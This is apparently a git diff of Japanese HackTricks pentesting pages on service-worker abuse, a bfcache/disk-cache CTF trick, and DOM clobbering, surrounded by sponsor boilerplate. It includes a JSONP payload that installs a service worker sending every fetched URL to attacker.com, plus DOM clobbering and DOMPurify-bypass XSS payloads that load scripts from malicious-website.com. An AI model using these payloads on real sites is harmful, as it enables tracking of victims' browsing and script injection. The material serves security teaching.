<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングテクニックを共有する**ために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは、**攻撃対象範囲を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまでの問題を見つけます**。[**無料でお試しください**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks)。
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは、**攻撃対象範囲を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまでの問題を見つけます**。[**無料でお試しください**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) 今すぐ
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -22,22 +22,22 @@
## 基本情報
**サービスワーカー**は、ブラウザでバックグラウンドで実行されるスクリプトであり、Webページやユーザーの操作を必要としない機能を可能にし、**オフラインおよびバックグラウンド処理**の機能を向上させます。サービスワーカーの詳細情報は[こちら](https://developers.google.com/web/fundamentals/primers/service-workers)で見つけることができます。脆弱なWebドメイン内のサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページとの被害者のやり取りを制御できます。
**サービスワーカー**は、ブラウザでバックグラウンドで実行されるスクリプトで、Webページやユーザーの操作を必要としない機能を可能にし、**オフラインおよびバックグラウンド処理**の機能を向上させます。サービスワーカーの詳細情報は[こちら](https://developers.google.com/web/fundamentals/primers/service-workers)で見つけることができます。脆弱なWebドメイン内のサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページとの被害者のやり取りを制御することができます。
### 既存のサービスワーカーの確認
既存のサービスワーカーは、**開発者ツール**の**アプリケーション**タブの**サービスワーカー**セクションで確認できます。別の方法として、より詳細なビューを得るために[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)を訪れることができます。
既存のサービスワーカーは、**開発者ツール**の**アプリケーション**タブの**サービスワーカー**セクションで確認できます。別の方法として、より詳細なビューを得るために[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)を訪れる方法があります。
### プッシュ通知
**プッシュ通知の許可**は、**サービスワーカー**が直接サーバーと通信する能力に直接影響を与えます。許可が拒否されると、サービスワーカーの潜在能力が制限され、継続的な脅威をもたらす可能性があります。逆に、許可を与えると、潜在的な脆弱性の受信と実行を可能にすることでセキュリティリスクが増加します。
**プッシュ通知の許可**は、**サービスワーカー**が直接サーバーと通信する能力に直接影響を与えます。許可が拒否されると、サービスワーカーの潜在能力が制限され、継続的な脅威をもたらす可能性があります。逆に、許可を与える、潜在的な脆弱性の受信と実行を可能にすることでセキュリティリスクが増加します。
## サービスワーカーの作成に対する攻撃
この脆弱性を悪用するには、次のものを見つける必要があります:
* **任意のJSファイルをサーバーにアップロードする方法**と、**アップロードされたJSファイルのサービスワーカーをロードするXSS**
* **出力を操作できる脆弱なJSONPリクエスト**と、**任意のJSコードで出力を操作できるXSS**、そして**悪意のあるサービスワーカーをロードするペイロードをJSONPでロードするXSS**
* **出力を操作できる脆弱なJSONPリクエスト**と、**任意のJSコードで出力を操作**することができる**脆弱なJSONPリクエスト**と、**JSONPをロードするXSS**。これにより、**悪意のあるサービスワーカーをロード**することができます。
以下の例では、`fetch`イベントをリッスンし、**取得されたURLを攻撃者のサーバーに送信する新しいサービスワーカーを登録**するコードを示します(これは**サーバーにアップロード**するか、**脆弱なJSONP**応答を介してロードする必要があるコードです):
```javascript
@ -68,15 +68,15 @@ JSONPエンドポイントを悪用する場合は、値を`var sw`の内部に
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
**Service Worker (SW)** の悪用に特化した **C2** があり、[**Shadow Workers**](https://shadow-workers.github.io) と呼ばれており、これらの脆弱性を悪用するのに非常に役立ちます。
**Service Worker (SW)** の悪用に特化した**C2**と呼ばれる[**Shadow Workers**](https://shadow-workers.github.io)があり、これはこれらの脆弱性を悪用するのに非常に役立ちます。
**24時間キャッシュディレクティブ** は、XSSの脆弱性修正された後、オンラインクライアントの状態を前提として、悪意のあるまたは侵害された **service worker (SW)** の寿命を最大で24時間に制限します。脆弱性を最小限に抑えるために、サイトの運営者は SW スクリプトの Time-To-Live (TTL) を下げることができます。開発者はまた、迅速な無効化のために [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) を作成することが推奨されています。
**24時間キャッシュディレクティブ**は、XSSの脆弱性修正後、オンラインクライアントの状態を前提として、悪意のあるまたは侵害された**サービスワーカーSW**の寿命を最大24時間に制限します。脆弱性を最小限に抑えるために、サイトの運営者はSWスクリプトのTime-To-LiveTTLを下げることができます。開発者はまた、迅速な無効化のために[**サービスワーカーキルスイッチ**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)を作成することが推奨されています。
## DOM Clobbering を介した SW での `importScripts` の悪用
## DOM Clobberingを介したSW内の`importScripts`の悪用
Service Worker から呼び出される **`importScripts`** 関数は、**異なるドメインからスクリプトをインポート** することができます。この関数が **攻撃者が変更できるパラメータ** を使用して呼び出された場合、彼は **自身のドメインから JS スクリプトをインポート** し、XSS を取得することができます。
Service Workerから呼び出される**`importScripts`**関数は、**異なるドメインからスクリプトをインポート**することができます。この関数が**攻撃者が変更できるパラメータ**を使用して呼び出された場合、彼は**自身のドメインからJSスクリプトをインポート**してXSSを取得できます。
**これは CSP保護をバイパスします。**
**これはCSP保護をバイパスします。**
**脆弱なコードの例:**
@ -96,13 +96,13 @@ self.importScripts(host + "/sw_extra.js");
```
### DOM Clobberingを使用する
DOM Clobberingについての詳細は、以下を参照してください
DOM Clobberingについての詳細は、以下を参照してください:
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
Service Workerが**`importScripts`**を呼び出すURL/ドメインが**HTML要素内にある場合**、DOM Clobberingを使用してそれを変更し、SWが**自分のドメインからスクリプトを読み込むようにする**ことが可能です。
SWが**`importScripts`**を呼び出すURL/ドメインが**HTML要素内にある**場合、DOM Clobberingを使用してそれを変更し、SWが**自分のドメインからスクリプトを読み込むようにする**ことが可能です。
これの例については、参照リンクを確認してください。
@ -112,7 +112,7 @@ Service Workerが**`importScripts`**を呼び出すURL/ドメインが**HTML要
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正を迅速化しましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
最も重要な脆弱性を見つけて、迅速に修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -122,9 +122,9 @@ Service Workerが**`importScripts`**を呼び出すURL/ドメインが**HTML要
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけましょう
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>

View file

@ -4,31 +4,31 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングテクニックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>
より詳細な詳細は[**この解説**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote)を参照してください
より詳細な詳細は[**この解説**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote)にあります
ここで議論されている技術は、2つの主要なキャッシュタイプ、**バック/フォワードキャッシュbfcache**と**ディスクキャッシュ**の動作と相互作用を理解することに関わります。 bfcacheは、JavaScriptヒープを含むページの完全なスナップショットを保存し、より包括的なスナップショットを保存できるため、バック/フォワードナビゲーションにおいてディスクキャッシュよりも優先されます。一方、ディスクキャッシュは、JavaScriptヒープを含まないWebから取得したリソースを保存し、通信コストを削減するためにバック/フォワードナビゲーションに使用されます。ディスクキャッシュの興味深い側面は、`fetch`を使用して取得されたリソースが含まれていることであり、アクセスされたURLリソースはブラウザによってキャッシュからレンダリングされます。
ここで議論されている技術は、2つの主要なキャッシュタイプ、**バック/フォワードキャッシュbfcache**と**ディスクキャッシュ**の動作と相互作用を理解することに関わります。 bfcacheは、JavaScriptヒープを含むページの完全なスナップショットを保存し、より包括的なスナップショットを保存できるため、バック/フォワードナビゲーションにおいてディスクキャッシュよりも優先されます。一方、ディスクキャッシュは、JavaScriptヒープを含まないWebから取得したリソースを保存し、通信コストを削減するためにバック/フォワードナビゲーションに使用されます。ディスクキャッシュの興味深い側面は、`fetch`を使用して取得されたリソースを含むことで、アクセスされたURLリソースがブラウザによってキャッシュからレンダリングされることです。
### キーポイント:
- **bfcache**はバック/フォワードナビゲーションにおいてディスクキャッシュよりも優先されます。
- **bfcache**はバック/フォワードナビゲーションディスクキャッシュよりも優先されます。
- ページをbfcacheではなくディスクキャッシュに保存するには、後者を無効にする必要があります。
### bfcacheの無効化
デフォルトでは、Puppeteerはbfcacheを無効にし、Chromiumのドキュメントに記載されている条件と一致します。bfcacheを無効にする効果的な方法の1つは、`RelatedActiveContentsExist`を使用することです。これは、`window.opener`への参照を保持する`window.open()`ページを開くことで達成されます。
デフォルトでは、Puppeteerはbfcacheを無効にします。これは、Chromiumのドキュメントに記載されている条件と一致しています。bfcacheを無効にする効果的な方法の1つは、`RelatedActiveContentsExist`を使用することです。これは、`window.opener`への参照を保持する`window.open()`を使用してページを開くことで達成されます。
### 動作の再現:
1. ウェブページ、例えば `https://example.com` にアクセスします。
2. `open("http://spanote.seccon.games:3000/api/token")` を実行し、500ステータスコードでサーバーレスポンスが返されます。
2. `open("http://spanote.seccon.games:3000/api/token")` を実行します。これにより、500のステータスコードを持つサーバーレスポンスが得られます。
3. 新しく開いたタブで `http://spanote.seccon.games:3000/` に移動します。このアクションにより、`http://spanote.seccon.games:3000/api/token` のレスポンスがディスクキャッシュとしてキャッシュされます。
4. `history.back()` を使用して戻ると、キャッシュされたJSONレスポンスがページ上にレンダリングされます。
@ -41,10 +41,10 @@ bfcacheとディスクキャッシュに関する詳細については、それ
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングテクニックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>

View file

@ -4,24 +4,24 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたい**ですか?または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するは、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>
## **Basics**
**HTMLタグ内の`id`**と**`name`**属性を使用して、**JSコンテキスト内でグローバル変数を生成**することが可能です。
**HTMLタグ内で、属性`id`と`name`を使用してJSコンテキスト内で** **グローバル変数を生成することが可能です。**
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**唯一**の特定の要素がグローバルを上書きするために**name属性**を使用できます。それらは、`embed`、`form`、`iframe`、`image`、`img`、および`object`です。
興味深いことに、**form要素**を使用して変数を**上書き**すると、要素自体の**`toString`**値が取得されます:`[object HTMLFormElement]`が、**anchor**では**`toString`**はanchorの**`href`**になります。したがって、**`a`**タグを使用して上書きすると、それが**文字列として扱われるとき値**を**制御**できます:
興味深いことに、**form要素**を使用して変数を**上書き**すると、要素自体の**`toString`**値が取得されます:`[object HTMLFormElement]`が、**anchor**を使用すると**`toString`**はanchorの**`href`**になります。したがって、**`a`**タグを使用して上書きすると、それが**文字列として扱われるときに** **値**を**制御**できます:
```html
<a href="controlled string" id=x></a>
<script>
@ -39,7 +39,7 @@ console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
**3番目の属性**x.y.zをclobberるには、**`form`**を使用する必要があります:
**3番目の属性**x.y.zをclobberるには、**`form`**を使用する必要があります:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
@ -54,7 +54,7 @@ alert(x.y.z.value)//controlled
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
styleタグは、**iframeがレンダリングされるのに十分な時間を与えるために使用**されます。これを使用しないと、**未定義**のアラートが表示されます。
スタイルタグは、**iframeがレンダリングされる十分な時間を与えるために使用**されます。これないと、**未定義**のアラートが表示されます。
{% endhint %}
より深い属性を上書きするには、次のように**HTMLエンコーディングを使用したiframe**を使用できます:
@ -78,13 +78,13 @@ console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **`window.someObject`のクロリング**
## **`window.someObject`のクロリング**
JavaScriptでは、次のようなコードが一般的です:
JavaScriptでは、次のようなコードが一般的です
```javascript
var someObject = window.someObject || {};
```
HTMLページ上のHTMLを操作することで、`someObject`をDOMードで上書きし、セキュリティの脆弱性を導入する可能性があります。例えば、`someObject`を悪意のあるスクリプトを指すアンカーエレメント置き換えることができます。
HTMLの操作を通じて、`someObject`をDOMードで上書きすることができ、セキュリティの脆弱性を引き起こす可能性があります。例えば、`someObject`を悪意のあるスクリプトを指すアンカーエレメント置き換えることができます。
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
@ -101,9 +101,9 @@ document.body.appendChild(script);
```
この方法は、スクリプトソースを悪意のあるコードを実行するために悪用します。
**トリック**: **`DOMPurify`**を使用すると、**`cid:`**プロトコルを使用できますが、これは**二重引用符をURLエンコードしない**ことを意味します。これにより、**ランタイムでデコードされるエンコードされた二重引用符を注入**できます。したがって、**`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`**のようなものを注入すると、HTMLエンコードされた`&quot;`が**ランタイムでデコード**され、属性値から**脱出**して**`onerror`**イベントを**作成**します。
**トリック**: **`DOMPurify`**を使用すると、**`cid:`**プロトコルを使用できますが、これは**二重引用符をURLエンコードしない**ことを意味します。これにより、**実行時にデコードされるエンコードされた二重引用符を注入**することができます。したがって、**`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`**のようなものを注入すると、HTMLエンコードされた`&quot;`が**実行時にデコード**され、属性値から**脱出**して**`onerror`**イベントを**作成**します。
別のテクニックとして、**`form`**要素を使用する方法があります。特定のクライアントサイドライブラリは、新しく作成されたフォーム要素の属性を検査してクリーンアップします。ただし、フォーム内に`input`を追加し、その中に`id=attributes`を追加することで、実際の属性にアクセスできないように属性プロパティを上書きできます。
別のテクニックとして、**`form`**要素を使用する方法があります。特定のクライアントサイドライブラリは、新しく作成されたフォーム要素の属性を検査してクリーンアップします。ただし、フォーム内に`id=attributes`を持つ`input`を追加することで、実質的な属性にアクセスできないように属性を上書きすることができます。
このタイプのクロバリングの例を[**このCTF解説で見つけることができます**](iframes-in-xss-and-csp.md#iframes-in-sop-2)。
@ -111,15 +111,15 @@ document.body.appendChild(script);
ドキュメントオブジェクトの属性を上書きすることができるというドキュメントによると、DOM Clobberingを使用して次のようになります
> [Document](https://html.spec.whatwg.org/multipage/dom.html#document)インターフェースは、[名前付きプロパティをサポート](https://webidl.spec.whatwg.org/#dfn-support-named-properties)しています。[Document](https://html.spec.whatwg.org/multipage/dom.html#document)オブジェクトのサポートされているプロパティ名は、いつでも、[tree order](https://dom.spec.whatwg.org/#concept-tree-order)に従って、後の重複を無視し、[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性の値が、同じ要素が両方を提供する場合には、[name](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性の値よりも前に来るように、それらが貢献した要素によって次のように構成されます:
> [Document](https://html.spec.whatwg.org/multipage/dom.html#document)インターフェースは、[名前付きプロパティ](https://webidl.spec.whatwg.org/#dfn-support-named-properties)をサポートしています。[Document](https://html.spec.whatwg.org/multipage/dom.html#document)オブジェクトのサポートされているプロパティ名は、[いつでも](https://webidl.spec.whatwg.org/#dfn-supported-property-names)、[要素によって貢献された要素による[ツリーオーダー](https://dom.spec.whatwg.org/#concept-tree-order)に従い、後の重複を無視して、[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性の値が[name](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性の値よりも前に来る場合、次のようになります:
>
> \- [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element)、[form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element)、[iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element)、[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)、および[公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)要素のすべての[name](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性の値が、documentを[ルート](https://dom.spec.whatwg.org/#concept-tree-root)とするドキュメントツリー内にあり、name content属性が空でない場合;\
> \- [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[name](https://html.spec.whatwg.org/multipage/dom.html#exposed)属性を持ち、[ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree)内にある、空でない[name](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性を持つ[embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element)、[form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element)、[iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element)、[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)、および[公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)要素の[name](https://html.spec.whatwg.org/multipage/dom.html#exposed)属性の値;\
> \
> \- [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)要素のすべての[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性の値が、documentを[ルート](https://dom.spec.whatwg.org/#concept-tree-root)とするドキュメントツリー内にあり、id content属性が空でない場合;\
> \- [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性を持ち、[ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree)内にある、空でない[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性を持つ[object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)要素の[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性の値;\
> \
> \- [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)要素のすべての[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性とname content属性が両方とも空でない場合、documentを[ルート](https://dom.spec.whatwg.org/#concept-tree-root)とするドキュメントツリー内にある。
